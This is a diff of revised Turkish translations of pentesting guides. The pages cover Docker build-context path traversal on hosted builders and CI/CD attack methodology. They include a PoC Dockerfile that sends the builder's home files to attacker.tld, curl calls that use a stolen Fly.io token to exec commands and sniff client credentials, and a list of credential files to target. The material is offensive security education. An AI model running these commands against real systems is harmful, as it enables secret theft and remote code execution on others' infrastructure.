Translated ['src/pentesting-ci-cd/pentesting-ci-cd-methodology.md', 'src

src/pentesting-ci-cd/docker-build-context-abuse.md

@@ -1,25 +1,25 @@
-# Hosted Builders'da Docker Build Context'in Kötüye Kullanımı (Path Traversal, Exfil, and Cloud Pivot)
+# Docker Build Context'in Hosted Builders'da Kötüye Kullanımı (Path Traversal, Exfil, and Cloud Pivot)
 
 {{#include ../banners/hacktricks-training.md}}
 
 ## TL;DR
 
-If a CI/CD platform or hosted builder lets contributors specify the Docker build context path and Dockerfile path, you can often set the context to a parent directory (e.g., "..") and make host files part of the build context. Then, an attacker-controlled Dockerfile can COPY and exfiltrate secrets found in the builder user’s home (for example, ~/.docker/config.json). Stolen registry tokens may also work against the provider’s control-plane APIs, enabling org-wide RCE.
+Eğer bir CI/CD platformu veya hosted builder katkıda bulunanların Docker build context yolunu ve Dockerfile yolunu belirtmesine izin veriyorsa, genellikle context'i üst dizine (ör. "..") ayarlayarak host dosyalarını build context'in bir parçası haline getirebilirsiniz. Ardından, saldırgan kontrollü bir Dockerfile, builder kullanıcısının home'unda bulunan sırları COPY ile exfiltrate edebilir (ör. ~/.docker/config.json). Çalınan registry token'ları provider'ın control-plane APIs'ine karşı da çalışabilir ve org-genel RCE'ye olanak sağlayabilir.
 
 ## Saldırı yüzeyi
 
-Many hosted builder/registry services do roughly this when building user-submitted images:
-- Read a repo-level config that includes:
-- build context path (sent to the Docker daemon)
-- Dockerfile path relative to that context
-- Copy the indicated build context directory and the Dockerfile to the Docker daemon
-- Build the image and run it as a hosted service
+Pek çok hosted builder/registry servisi, kullanıcı tarafından gönderilen image'ları build ederken kabaca şunları yapar:
+- Repo-level bir config'i okur; bu config şunları içerir:
+  - build context path (Docker daemon'a gönderilir)
+  - Dockerfile path bu context'e göre göreceli olarak
+- Belirtilen build context dizinini ve Dockerfile'ı Docker daemon'a kopyalar
+- Image'ı build eder ve hosted service olarak çalıştırır
 
-If the platform does not canonicalize and restrict the build context, a user can set it to a location outside the repository (path traversal), causing arbitrary host files readable by the build user to become part of the build context and available to COPY in the Dockerfile.
+Eğer platform build context'i canonicalize edip kısıtlamazsa, bir kullanıcı context'i repository dışındaki bir konuma (path traversal) ayarlayabilir; bu durumda build kullanıcısı tarafından okunabilir herhangi bir host dosyası build context'in bir parçası olur ve Dockerfile içinde COPY ile erişilebilir hale gelir.
 
-Practical constraints commonly observed:
-- The Dockerfile must reside within the chosen context path and its path must be known ahead of time.
-- The build user must have read access to files included in the context; special device files can break the copy.
+Sık gözlemlenen pratik kısıtlamalar:
+- Dockerfile seçilen context path içinde bulunmalı ve yolu önceden biliniyor olmalıdır.
+- Build kullanıcısının context'e dahil edilen dosyaları okuma izni olmalıdır; özel device dosyaları kopyayı bozabilir.
 
 ## PoC: Path traversal via Docker build context
 
@@ -41,10 +41,10 @@ exampleConfig:
 apiKey: "sk-example123"
 ```
 Notlar:
-- ".." kullanımı genellikle builder kullanıcısının home dizinine (ör. /home/builder) çözülür; bu dizin genellikle hassas dosyalar içerir.
-- Dockerfile'ınızı repo'nun dizin adı altında yerleştirin (ör. repo "test" → test/Dockerfile) böylece genişletilmiş üst bağlam içinde kalır.
+- ".." kullanımı çoğunlukla builder kullanıcısının home dizinine (ör. /home/builder) çözülür; bu dizin genellikle hassas dosyalar içerir.
+- Dockerfile'ınızı repo'nun dizin adı altında yerleştirin (ör. repo "test" → test/Dockerfile) böylece genişletilmiş parent context içinde kalır.
 
-## PoC: host context'i ingest ve exfiltrate etmek için Dockerfile
+## PoC: host context'i ingest edip exfiltrate eden Dockerfile
 ```dockerfile
 FROM alpine
 RUN apk add --no-cache curl
@@ -52,19 +52,19 @@ RUN mkdir /data
 COPY . /data                      # Copies entire build context (now builder’s $HOME)
 RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)
 ```
-$HOME'den sıklıkla elde edilen hedefler:
+Genellikle $HOME'den kurtarılan hedefler:
 - ~/.docker/config.json (registry auths/tokens)
-- Diğer cloud/CLI önbellekleri ve yapılandırmaları (ör. ~/.fly, ~/.kube, ~/.aws, ~/.config/*)
+- Diğer cloud/CLI önbellekleri ve yapılandırmalar (ör. ~/.fly, ~/.kube, ~/.aws, ~/.config/*)
 
-Tip: Depoda bir .dockerignore olsa bile, zafiyetli platform tarafı context seçimi hangi dosyaların daemon'a gönderileceğini belirler. Eğer platform, seçilen yolu repo’nuzun .dockerignore dosyasını değerlendirmeden önce daemon'a kopyalarsa, host dosyaları yine de açığa çıkabilir.
+İpucu: Depoda .dockerignore olsa bile, zayıf platform-tarafı context seçimi daemon'a ne gönderileceğini hâlâ belirler. Platform, seçilen yolu repo'nuzun .dockerignore dosyasını değerlendirmeden önce daemon'a kopyalarsa, host dosyaları hâlâ açığa çıkabilir.
 
-## Cloud pivot with overprivileged tokens (example: Fly.io Machines API)
+## Aşırı ayrıcalıklı token'larla cloud pivot (örnek: Fly.io Machines API)
 
-Bazı platformlar, hem container registry hem de control-plane API için kullanılabilen tek bir bearer token sağlar. Eğer bir registry token'ı exfiltrate ederseniz, sağlayıcının API'sine karşı deneyin.
+Bazı platformlar container registry ve control-plane API için kullanılabilen tek bir bearer token verir. Eğer bir registry token'ını exfiltrate ederseniz, sağlayıcı API'sine karşı deneyin.
 
-Çalınan token (~/.docker/config.json) kullanılarak Fly.io Machines API'ye yapılabilecek örnek API çağrıları:
+~/.docker/config.json içindeki çalınmış token kullanılarak Fly.io Machines API'ye örnek API çağrıları:
 
-Bir org içindeki uygulamaları listele:
+Bir organizasyondaki uygulamaları listele:
 ```bash
 curl -H "Authorization: Bearer fm2_..." \
 "https://api.machines.dev/v1/apps?org_slug=smithery"
@@ -75,11 +75,11 @@ curl -s -X POST -H "Authorization: Bearer fm2_..." \
 "https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
 --data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'
 ```
-Sonuç: organizasyon genelinde remote code execution — token yeterli ayrıcalıklara sahipse tüm barındırılan uygulamalarda.
+Sonuç: token yeterli ayrıcalıklara sahipse tüm barındırılan uygulamalarda organizasyon çapında remote code execution.
 
-## Ele geçirilmiş barındırılan servislerden gizli bilgilerin çalınması
+## İhlal edilmiş barındırılan servislerden gizli verilerin çalınması
 
-Barındırılan sunucularda exec/RCE ile, istemci tarafından sağlanan gizli bilgileri (API keys, tokens) toplayabilir veya prompt-injection attacks düzenleyebilirsiniz. Örnek: tcpdump kurun ve gelen kimlik bilgilerini çıkarmak için port 8080'deki HTTP trafiğini yakalayın.
+Barındırılan sunucularda exec/RCE ile müşteri tarafından sağlanan gizli bilgileri (API keys, tokens) toplayabilir veya prompt-injection attacks düzenleyebilirsiniz. Örnek: tcpdump kurun ve port 8080'deki HTTP trafiğini yakalayarak gelen kimlik bilgilerini çıkarın.
 ```bash
 # Install tcpdump inside the machine
 curl -s -X POST -H "Authorization: Bearer fm2_..." \
@@ -91,9 +91,9 @@ curl -s -X POST -H "Authorization: Bearer fm2_..." \
 "https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
 --data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'
 ```
-Yakalanan istekler genellikle istemci kimlik bilgilerini başlıklarda, gövdelerde veya sorgu parametrelerinde içerir.
+Yakalanan istekler genellikle headers, bodies veya query params içinde istemci kimlik bilgileri içerir.
 
-## Referanslar
+## References
 
 - [Breaking MCP Server Hosting: Build-Context Path Traversal to Org-wide RCE and Secret Theft](https://blog.gitguardian.com/breaking-mcp-server-hosting/)
 - [Fly.io Machines API](https://fly.io/docs/machines/api/)

src/pentesting-ci-cd/pentesting-ci-cd-methodology.md

@@ -1,4 +1,4 @@
-# Pentesting CI/CD Metodolojisi
+# Pentesting CI/CD Methodology
 
 {{#include ../banners/hacktricks-training.md}}
 
@@ -6,7 +6,7 @@
 
 ## VCS
 
-VCS, **Version Control System** anlamına gelir; bu sistemler geliştiricilerin **kaynak kodlarını yönetmelerini** sağlar. En yaygın olanı **git**'tir ve şirketlerin genellikle aşağıdaki **platformlar**dan birini kullandığını görürsünüz:
+VCS, **Version Control System** anlamına gelir; bu sistemler geliştiricilerin **kaynak code'larını yönetmesini** sağlar. En yaygın olanı **git**'tir ve genelde şirketlerde aşağıdaki **platformlar**dan birinde kullanılır:
 
 - Github
 - Gitlab
@@ -18,36 +18,36 @@ VCS, **Version Control System** anlamına gelir; bu sistemler geliştiricilerin
 
 ## CI/CD Pipelines
 
-CI/CD pipelines geliştiricilerin kodu **otomatik olarak çalıştırmasını** sağlar; bu, build, test ve uygulamaların deploy edilmesi gibi amaçlar için kullanılır. Bu otomatik iş akışları, kod push'ları, pull request'ler veya zamanlanmış görevler gibi **belirli aksiyonlarla tetiklenir**. Geliştirmeden üretime giden süreci düzene sokmak için faydalıdır.
+CI/CD pipelines geliştiricilerin uygulamaları build, test ve deploy etmek gibi amaçlar için **code yürütmeyi otomatikleştirmesini** sağlar. Bu otomatik iş akışları, code push'ları, pull request'ler veya zamanlanmış görevler gibi **belirli aksiyonlarla tetiklenir**. Geliştirmeden üretime geçiş sürecini düzene koymak için faydalıdır.
 
-Ancak bu sistemlerin bir yerde **çalıştırılması gerekir** ve genellikle **kod deploy etmek veya hassas bilgilere erişmek için yetkili kimlik bilgileri** ile çalışırlar.
+Ancak bu sistemlerin bir yerde **çalıştırılması gerekir** ve genelde **deploy yapmak veya hassas bilgilere erişmek için ayrıcalıklı credentials** ile çalışırlar.
 
 ## VCS Pentesting Methodology
 
 > [!NOTE]
 > Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code.
 
-Projenizin kaynak kodunu içeren platformlar hassas bilgiler barındırır ve insanlar bu platform içindeki izinler konusunda çok dikkatli olmalıdır. Saldırganların kötüye kullanabileceği VCS platformlarındaki yaygın sorunlardan bazıları şunlardır:
+Projenizin source code'unun bulunduğu platformlar hassas bilgiler içerir ve bu platform içinde verilen izinlere çok dikkat edilmelidir. Saldırganların kötüye kullanabileceği VCS platformları genelinde görülen bazı yaygın problemler şunlardır:
 
-- **Leaks**: Kodunuz commit'lerde leaks içeriyorsa ve saldırgan repo'ya erişebiliyorsa (public olduğu için veya erişimi olduğu için) bu leak'leri keşfedebilir.
-- **Access**: Bir saldırgan **VCS platformu içindeki bir hesaba erişim** sağlayabilirse daha fazla görünürlük ve izin elde edebilir.
+- **Leaks**: Eğer code'unuz commit'lerde leaks içeriyorsa ve saldırgan repoya erişebiliyorsa (çünkü repo public veya erişimi varsa) bu leaksleri keşfedebilir.
+- **Access**: Eğer bir saldırgan VCS platformu içinde bir hesaba **erişim sağlayabilirse** daha fazla görünürlük ve izin elde edebilir.
 - **Register**: Bazı platformlar dış kullanıcıların hesap oluşturmasına izin verir.
-- **SSO**: Bazı platformlar kullanıcı kayıtına izin vermez, ancak geçerli bir SSO ile herkese erişim sağlar (örneğin bir saldırgan kendi github hesabını kullanarak girebilir).
-- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... bir kullanıcı bu tür çeşitli token'ları çalarak repo'ya bir şekilde erişebilir.
-- **Webhooks**: VCS platformları webhook oluşturulmasına izin verir. Eğer bunlar görünmeyen secret'larla **korunmuyorsa**, bir **saldırgan bunları kötüye kullanabilir**.
-- Eğer hiçbir secret kullanılmıyorsa, saldırgan üçüncü taraf platformun webhook'unu suistimal edebilir
-- Eğer secret URL içinde ise aynı durum olur ve saldırgan ayrıca secret'a da sahip olur
-- **Code compromise:** Kötü niyetli bir aktör repo'larda bir tür **write** erişimine sahipse, **zararlı kod enjekte etmeyi** deneyebilir. Başarılı olabilmek için **branch korumalarını aşması** gerekebilir. Bu eylemler farklı amaçlarla gerçekleştirilebilir:
-- Ana branch'i ele geçirerek **production'ı kompromize etmek**.
-- Ana (veya diğer) branch'leri ele geçirerek **geliştirici makinelerini kompromize etmek** (çünkü geliştiriciler genellikle test, terraform veya repo içindeki diğer işleri makinelerinde çalıştırır).
-- **Pipeline'ı kompromize etmek** (bir sonraki bölüme bakın)
+- **SSO**: Bazı platformlar kullanıcı kaydına izin vermez, ama geçerli bir SSO ile herkesin erişmesine izin verir (örneğin bir saldırgan github hesabını kullanarak girebilir).
+- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... kullanıcıların repoya herhangi bir şekilde erişmek için çalabileceği çeşitli token türleri vardır.
+- **Webhooks**: VCS platformları webhook oluşturulmasına izin verir. Eğer bunlar görünmeyen secret'lerle **korunmuyorsa** bir **saldırgan bunları kötüye kullanabilir**.
+- Eğer herhangi bir secret yoksa, saldırgan üçüncü taraf platformun webhook'unu kötüye kullanabilir
+- Eğer secret URL içinde ise, aynı durum geçerlidir ve saldırgan secret'a da sahip olur
+- **Code compromise:** Eğer kötü niyetli bir aktör repolarda bir tür **write** erişimine sahipse, **zararlı code** enjekte etmeye çalışabilir. Başarılı olmak için çoğunlukla **branch protections'ı bypass etmesi** gerekebilir. Bu eylemler farklı amaçlarla gerçekleştirilebilir:
+- Main branch'i ele geçirerek **production'ı compromise etmek**.
+- Main (veya diğer) branch'leri ele geçirerek **geliştiricilerin makinelerini compromise etmek** (çünkü genelde test, terraform veya repo içindeki diğer şeyleri kendi makinelerinde çalıştırırlar).
+- **Pipeline'ı compromise etmek** (bir sonraki bölüme bakın)
 
 ## Pipelines Pentesting Methodology
 
-Bir pipeline'ı tanımlamanın en yaygın yolu, pipeline'ın buildlediği repository'de barındırılan **CI konfigürasyon dosyası** kullanmaktır. Bu dosya çalıştırılan job'ların sırasını, akışı etkileyen koşulları ve build ortamı ayarlarını tanımlar.\
-Bu dosyalar genellikle tutarlı bir isim ve formata sahiptir, örneğin — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), ve GitHub Actions YAML dosyaları .github/workflows altında bulunur. Tetiklendiğinde, pipeline job'ı seçili kaynaktan (ör. commit / branch) **kodu pull eder** ve o koda karşılık CI konfigürasyon dosyasında **belirtilen komutları çalıştırır**.
+Pipeline tanımlamanın en yaygın yolu, pipeline'ın build ettiği repository'de barındırılan bir **CI configuration file** kullanmaktır. Bu dosya yürütülen job'ların sırasını, akışı etkileyen koşulları ve build ortamı ayarlarını açıklar.\
+Bu dosyalar genelde tutarlı bir ad ve formatta olur; örneğin — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) ve .github/workflows altındaki GitHub Actions YAML dosyaları. Tetiklendiğinde pipeline job'ı seçilen kaynaktan (ör. commit / branch) **code'u çeker** ve CI configuration file içinde belirtilen komutları bu code'a karşı **çalıştırır**.
 
-Dolayısıyla saldırganın nihai hedefi bir şekilde bu konfigürasyon dosyalarını veya **çalıştırdıkları komutları kompromize etmektir**.
+Bu yüzden saldırganın nihai amacı bir şekilde bu configuration dosyalarını ya da **çalıştırdıkları komutları** **compromise etmek**tir.
 
 > [!TIP]
 > Some hosted builders let contributors choose the Docker build context and Dockerfile path. If the context is attacker-controlled, you may set it outside the repo (e.g., "..") to ingest host files during build and exfiltrate secrets. See:
@@ -58,53 +58,53 @@ Dolayısıyla saldırganın nihai hedefi bir şekilde bu konfigürasyon dosyalar
 
 ### PPE - Poisoned Pipeline Execution
 
-The Poisoned Pipeline Execution (PPE) path exploits permissions in an SCM repository to manipulate a CI pipeline and execute harmful commands. Users with the necessary permissions can modify CI configuration files or other files used by the pipeline job to include malicious commands. This "poisons" the CI pipeline, leading to the execution of these malicious commands.
+Poisoned Pipeline Execution (PPE) yolu, bir SCM repository içindeki izinleri kötüye kullanarak bir CI pipeline'ını manipüle etmeyi ve zararlı komutlar çalıştırmayı hedefler. Gerekli izinlere sahip kullanıcılar CI configuration dosyalarını veya pipeline job tarafından kullanılan diğer dosyaları değiştirerek kötü amaçlı komutlar ekleyebilir. Bu durum CI pipeline'ını "poison" eder ve bu kötü amaçlı komutların çalışmasına yol açar.
 
-Bir saldırganın PPE saldırısını başarılı şekilde gerçekleştirebilmesi için şunlara ihtiyacı vardır:
+Bir saldırganın PPE saldırısında başarılı olabilmesi için:
 
-- VCS platformunda **write access** sahibi olmak; çünkü genellikle pipeline'lar bir push veya pull request gerçekleştirildiğinde tetiklenir. (Erişim elde etme yolları için VCS pentesting methodology bölümüne bakın).
-- Bazen bir **external PR'in "write access" olarak sayılabileceğini** unutmayın.
-- Yazma izinleri olsa bile, **CI config dosyasını veya konfigürasyonun dayandığı diğer dosyaları** değiştirebildiğinden emin olmalıdır.
-- Bunun için branch korumalarını **aşabilmesi** gerekebilir.
+- VCS platformunda **write access**e sahip olması gerekir; çünkü genelde pipeline'lar bir push veya pull request gerçekleştiğinde tetiklenir. (Erişim elde etme yolları için VCS pentesting methodology bölümüne bakın).
+- Bazen bir **external PR'in "write access" sayıldığı** unutulmamalıdır.
+- Write izinleri olsa bile, CI config dosyasını veya config'in rely ettiği diğer dosyaları **değiştirebileceğinden emin olması** gerekir.
+- Bunun için branch protections'ı **bypass edebilmesi** gerekebilir.
 
 3 PPE çeşidi vardır:
 
-- **D-PPE**: Bir **Direct PPE** saldırısı, aktörün **çalıştırılacak CI config** dosyasını **doğrudan değiştirdiği** durumda gerçekleşir.
-- **I-DDE**: Bir **Indirect PPE** saldırısı, aktörün CI config dosyasının **dayandığı** (ör. make file veya terraform konfigürü gibi) bir **dosyayı değiştirdiği** durumda gerçekleşir.
-- **Public PPE or 3PE**: Bazı durumlarda pipeline'lar, repo'da write access'i olmayan kullanıcılar (hatta org üyesi olmayanlar) tarafından gönderilen PR'lerle **tetiklenebilir**.
-- **3PE Command Injection**: Genellikle, CI/CD pipeline'ları **PR hakkında bilgileri içeren environment variable'lar** ayarlar. Eğer bu değer bir saldırgan tarafından kontrol edilebiliyorsa (ör. PR başlığı) ve **tehlikeli bir yerde** (ör. **sh komutları** çalıştırılan yerde) **kullanılıyorsa**, saldırgan buraya **komut enjekte edebilir**.
+- **D-PPE**: Bir **Direct PPE** saldırısı, aktörün yürütülecek CI config dosyasını **direkt olarak değiştirdiği** durumdur.
+- **I-DDE**: Bir **Indirect PPE** saldırısı, aktörün CI config dosyasının **rely ettiği** (ör. make file veya terraform config gibi) bir **dosyayı değiştirdiği** durumdur.
+- **Public PPE or 3PE**: Bazı durumlarda pipeline'lar repo içinde write access'i olmayan kullanıcılar tarafından (ve hatta org üyesi olmayanlar tarafından) gönderilen PR'lerle **tetiklenebilir**.
+- **3PE Command Injection**: Genelde CI/CD pipeline'ları PR hakkında bilgi içeren environment variable'lar **ayarlar**. Eğer bu değer bir saldırgan tarafından kontrol edilebiliyorsa (ör. PR başlığı gibi) ve **tehlikeli bir yerde** (ör. sh komutları çalıştırılan bir yerde) **kullanılıyorsa**, saldırgan oraya **komut enjekte edebilir**.
 
 ### Exploitation Benefits
 
-3 PPE çeşidini bildiğimize göre, başarılı bir sömürü sonrasında bir saldırganın elde edebileceklerine bakalım:
+Bir pipeline'ı zehirlemenin 3 çeşidini bildiğimize göre, saldırganın başarılı bir exploitation sonrasında neler elde edebileceğine bakalım:
 
-- **Secrets**: Daha önce de belirtildiği gibi, pipeline job'ları için kodu retrieve etmek, build etmek, deploy etmek vb. için **privilegeler** gerekmektedir ve bu privilegeler genellikle **secret'larda saklanır**. Bu secret'lar genellikle **env variables veya sistem içindeki dosyalar** aracılığıyla erişilebilir. Bu nedenle saldırgan mümkün olduğunca çok secret'ı exfiltrate etmeye çalışacaktır.
-- Pipeline platformuna bağlı olarak saldırgan **secret'ların config içinde belirtilmesini** isteyebilir. Bu, eğer saldırgan CI konfigürasyon dosyasını değiştiremiyorsa (**I-PPE** gibi), yalnızca o pipeline'ın sahip olduğu secret'ları exfiltrate edebileceği anlamına gelir.
-- **Computation**: Kod bir yerde çalıştırılır; nerede çalıştırıldığına bağlı olarak saldırgan daha ileriye pivot yapabilir.
-- **On-Premises**: Eğer pipeline'lar on-premises çalıştırılıyorsa, saldırgan **iç ağa** erişebilir ve daha fazla kaynağa ulaşabilir.
-- **Cloud**: Saldırgan bulut içindeki diğer makinelere erişebilir ancak ayrıca IAM role/service account **token'larını** exfiltrate ederek bulut içinde **daha fazla erişim** elde edebilir.
-- **Platforms machine**: Bazen job'lar, genellikle daha fazla erişimi olmayan bir bulut içinde bulunan **pipeline platform makinelerinde** çalıştırılır.
-- **Select it:** Bazen **pipeline platformu birden fazla makine** yapılandırmıştır ve eğer CI config dosyasını değiştirebiliyorsanız, **zararlı kodu hangi makinelerde çalıştırmak istediğinizi belirtebilirsiniz**. Bu durumda saldırgan muhtemelen her bir olası makinede ters bağlanma (reverse shell) çalıştırıp daha fazla istismar deneyecektir.
-- **Compromise production**: Eğer pipeline içindeyseniz ve nihai sürüm buradan build edilip deploy ediliyorsa, production'da çalışacak kodu **kompromize edebilirsiniz**.
+- **Secrets**: Daha önce de bahsedildiği gibi, pipeline job'ları code'u almak, build etmek, deploy etmek vb. için **privileges** gerektirir ve bu ayrıcalıklar genelde **secrets** içinde saklanır. Bu secrets genelde **env variables** veya sistem içindeki dosyalar aracılığıyla erişilebilir. Bu nedenle bir saldırgan mümkün olduğunca çok secrets exfiltrate etmeye çalışacaktır.
+- Pipeline platformuna bağlı olarak saldırgan **secret'ları config içinde belirtmek** zorunda olabilir. Bu, eğer saldırgan CI configuration pipeline'ını değiştiremiyorsa (**I-PPE** gibi), sadece o pipeline'ın sahip olduğu secrets'ları exfiltrate edebileceği anlamına gelir.
+- **Computation**: Code bir yerde çalıştırılır; çalıştırıldığı yere bağlı olarak saldırgan daha fazla pivot yapabilir.
+- **On-Premises**: Pipeline'lar on-premises çalıştırılıyorsa, saldırgan **daha fazla kaynağa erişimi olan internal bir ağa** ulaşabilir.
+- **Cloud**: Saldırgan diğer cloud makinelerine erişebileceği gibi IAM roles/service accounts **token'larını** exfiltrate ederek cloud içinde **daha fazla erişim** elde edebilir.
+- **Platforms machine**: Bazen job'lar pipeline platform makineleri içinde çalıştırılır; genelde bunlar cloud içinde olup **başka erişime sahip değildir**.
+- **Select it:** Bazı pipeline platformlarında **çeşitli makineler yapılandırılmış** olur ve eğer CI configuration dosyasını **değiştirebiliyorsanız** kodu **nerede çalıştırmak istediğinizi** belirtebilirsiniz. Bu durumda saldırgan, her mümkün makinede reverse shell çalıştırıp onlardan daha fazla exploit denemesi yapabilir.
+- **Compromise production**: Eğer pipeline içindeyseniz ve final versiyon pipeline'dan build edilip deploy ediliyorsa, production'da çalışacak olan code'u **compromise edebilirsiniz**.
 
 ## More relevant info
 
 ### Tools & CIS Benchmark
 
-- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) açık kaynaklı bir araçtır ve yeni bir [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf) temelinde yazılım tedarik zinciri yığınıınızı güvenlik uyumluluğu açısından denetler. Denetim, koddan deploy anına kadar tüm SDLC sürecine odaklanır ve riskleri ortaya çıkarabilir.
+- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) açık kaynak bir araçtır ve yeni bir [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf) temelinde yazılım tedarik zinciri yığınıınızı güvenlik uyumluluğu açısından denetler. Denetim, kod zamanından deploy zamanına kadar tüm SDLC sürecine odaklanır ve riskleri ortaya çıkarabilir.
 
 ### Top 10 CI/CD Security Risk
 
-Cider'a göre CI/CD risklerinin en önemli 10 tanesini anlatan ilginç makaleyi inceleyin: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
+Cider'a göre top 10 CI/CD risklerini anlatan ilginç makaleyi inceleyin: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
 
 ### Labs
 
-- Lokal olarak çalıştırabileceğiniz her platform için, onu yerel olarak başlatıp istediğiniz gibi yapılandırarak test edebilmeniz için talimatlar bulacaksınız
+- Her platform için lokal olarak çalıştırılabilecek lab'larda nasıl başlatılacağı gösterilir; böylece istediğiniz gibi yapılandırıp test edebilirsiniz
 - Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
 
 ### Automatic Tools
 
-- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** infrastructure-as-code için statik kod analizi aracıdır.
+- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov**, infrastructure-as-code için statik kod analiz aracı.
 
 ## References
 

src/pentesting-cloud/aws-security/aws-services/aws-bedrock-enum.md

@@ -4,7 +4,7 @@
 
 ## Genel Bakış
 
-Amazon Bedrock, önde gelen AI girişimleri ve Amazon tarafından sağlanan foundation modelleri (FM'ler) kullanarak üretken AI uygulamaları oluşturmayı ve ölçeklendirmeyi kolaylaştıran tam yönetilen bir servistir. Bedrock, farklı FM'lere tek bir API üzerinden erişim sağlayarak geliştiricilerin altyapıyı yönetmeden belirli kullanım senaryoları için en uygun modeli seçmelerine olanak tanır.
+Amazon Bedrock, önde gelen AI startup'ları ve Amazon tarafından sağlanan foundation models (FMs) kullanarak üretken yapay zeka uygulamaları oluşturmayı ve ölçeklendirmeyi kolaylaştıran tam yönetilen bir hizmettir. Bedrock, geliştiricilerin altyapıyı yönetmeden belirli kullanım durumları için en uygun modeli seçmesine olanak tanıyan tek bir API üzerinden çeşitli FM'lere erişim sağlar.
 
 ## Post Exploitation